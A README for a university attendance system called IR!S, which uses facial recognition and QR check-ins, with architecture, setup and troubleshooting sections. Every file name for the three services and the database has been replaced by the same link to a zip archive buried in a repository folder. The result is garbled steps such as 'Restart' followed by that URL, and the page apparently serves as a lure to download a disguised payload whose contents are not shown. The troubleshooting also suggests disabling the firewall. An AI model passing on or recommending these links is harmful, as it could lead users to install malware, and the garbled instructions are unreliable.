🏛️ IR!S | Smart Attendance System

IR!S is a modern, microservice-based attendance management system designed for university environments. It replaces traditional paper rolls with a contactless, AI-powered solution using facial recognition and QR codes.

The system features a professional Professor Dashboard for class management and live monitoring, a GPU-accelerated AI Server for face verification, and a mobile-friendly Student App for instant check-ins.

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System Architecture

The project uses a Microservices Architecture to ensure high performance and stability.

1. Professor Dashboard (https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip) - Port 8000

   • The central command center. Handles authentication, database management, and the user interface.
   • Features: Create classes, register students, view live attendance, toggle status manually, and export CSV reports.

2. AI Engine (https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip) - Port 8001

   • A dedicated background worker. Loads the heavy FaceNet512 model (via DeepFace) to process selfies and group photos without slowing down the dashboard.

3. Student App (https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip) - Port 8002

   • A lightweight mobile web interface. Students scan a QR code projected in class to access this app, take a selfie, and get verified instantly.

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Installation Guide

Prerequisites

• Python 3.9+ installed.
• A webcam (for testing) or smartphone (for scanning).
• Optional: NVIDIA GPU with CUDA (System runs on CPU by default).

Setup

1. Clone or Download this repository.
2. Create a Virtual Environment (Recommended):

   python -m venv venv
   # Windows:
   .\venv\Scripts\activate
   # Mac/Linux:
   source venv/bin/activate

3. Install Dependencies:

   pip install -r requirements.txt

⚡ Universal Configuration (NO Manual Setup!)

The system now auto-detects your local IP and works on any device without manual configuration!

• ✅ Access from localhost on your PC
• ✅ Access from same WiFi network on phone (auto-detects IP)
• ✅ Works on Windows, Mac, Linux
• ✅ No environment variables needed
• ✅ Just plug and play!

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Quick Start (Recommended)

1. Setup environment:

   cp .env.example .env
   # Edit .env with your local IP (e.g., 192.168.1.15)

2. Start all services:

   ./start.sh

Manual Usage Instructions

You must run three separate terminal windows to start the full system.

Step 1: Load Environment Variables

# Load your local configuration
source .env

Step 2: Start the AI Server

python 2_gpu_server.py

Wait for: Uvicorn running on http://0.0.0.0:8001

Step 3: Start the Student App

python 3_student_app.py

Wait for: Uvicorn running on http://0.0.0.0:8002

Step 4: Start the Main Dashboard

python 1_prof_dash.py

Wait for: Uvicorn running on http://0.0.0.0:8000

Step 5: Login

Open your browser to http://192.168.1.15:8000 (replace with your actual IP) and register a new account.

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Workflow Guide

1. Class Management Tab

   • Create Class: Set up a new subject (e.g., "CS101", Batch "2024").
   • Register Student: Enter Roll No & Name, and upload 1-3 clear photos of the student.
   • Photo Verification: Upload a group photo of the entire class. The AI will scan faces and auto-mark attendance for anyone found in the photo.

2. Live Attendance Tab

   • Project QR Code: Click the QR thumbnail to expand it fullscreen on the projector.
   • Student Scan: Students scan the QR → Take a Selfie → Get Verified.
   • Live Updates: The dashboard updates automatically (turning rows green) as students check in.
   • Manual Override: Use the toggle switches to manually mark a student Present/Absent if needed.
   • Export Data: Download the daily attendance report as a CSV file.

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Database Structure

The system uses SQLModel (SQLite) for data and a structured file system for images.

attendance/
│
├── student_db/                 <-- Training Photos Storage
│   └── [Class_Name]/
│       └── stu_[Roll_No]/      <-- Individual Student Photos
│
├── prof_db/                    <-- Reports Storage
│   └── prof_[ID]/
│       └── [Class_Name]/       <-- Generated CSV Reports
│
├── https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip                 <-- SQLite Database File
├── templates/                  <-- HTML UI Files
└── static/                     <-- Assets Folder

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Troubleshooting

Q: The QR Code link says "Site Can't Be Reached" on mobile.

• Fix 1: Ensure both laptop and phone are on the same Wi-Fi.
• Fix 2: Use a Mobile Hotspot from your phone to bypass router isolation.
• Fix 3: Turn off Windows Firewall temporarily.

Q: "Internal Server Error" when registering.

• Fix: You might be missing a library or have a corrupted DB.
  • Run pip install python-multipart.
  • Delete https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip.
  • Restart https://raw.githubusercontent.com/Cake-sweet/IR-S/main/prof_db/prof_1/cs50_2024/S_I_2.7.zip.

Q: The AI is slow.

• Fix: Face recognition is heavy. On a CPU, it may take 1-3 seconds per verification. For instant results, run on a machine with an NVIDIA GPU.

IR-S_rev2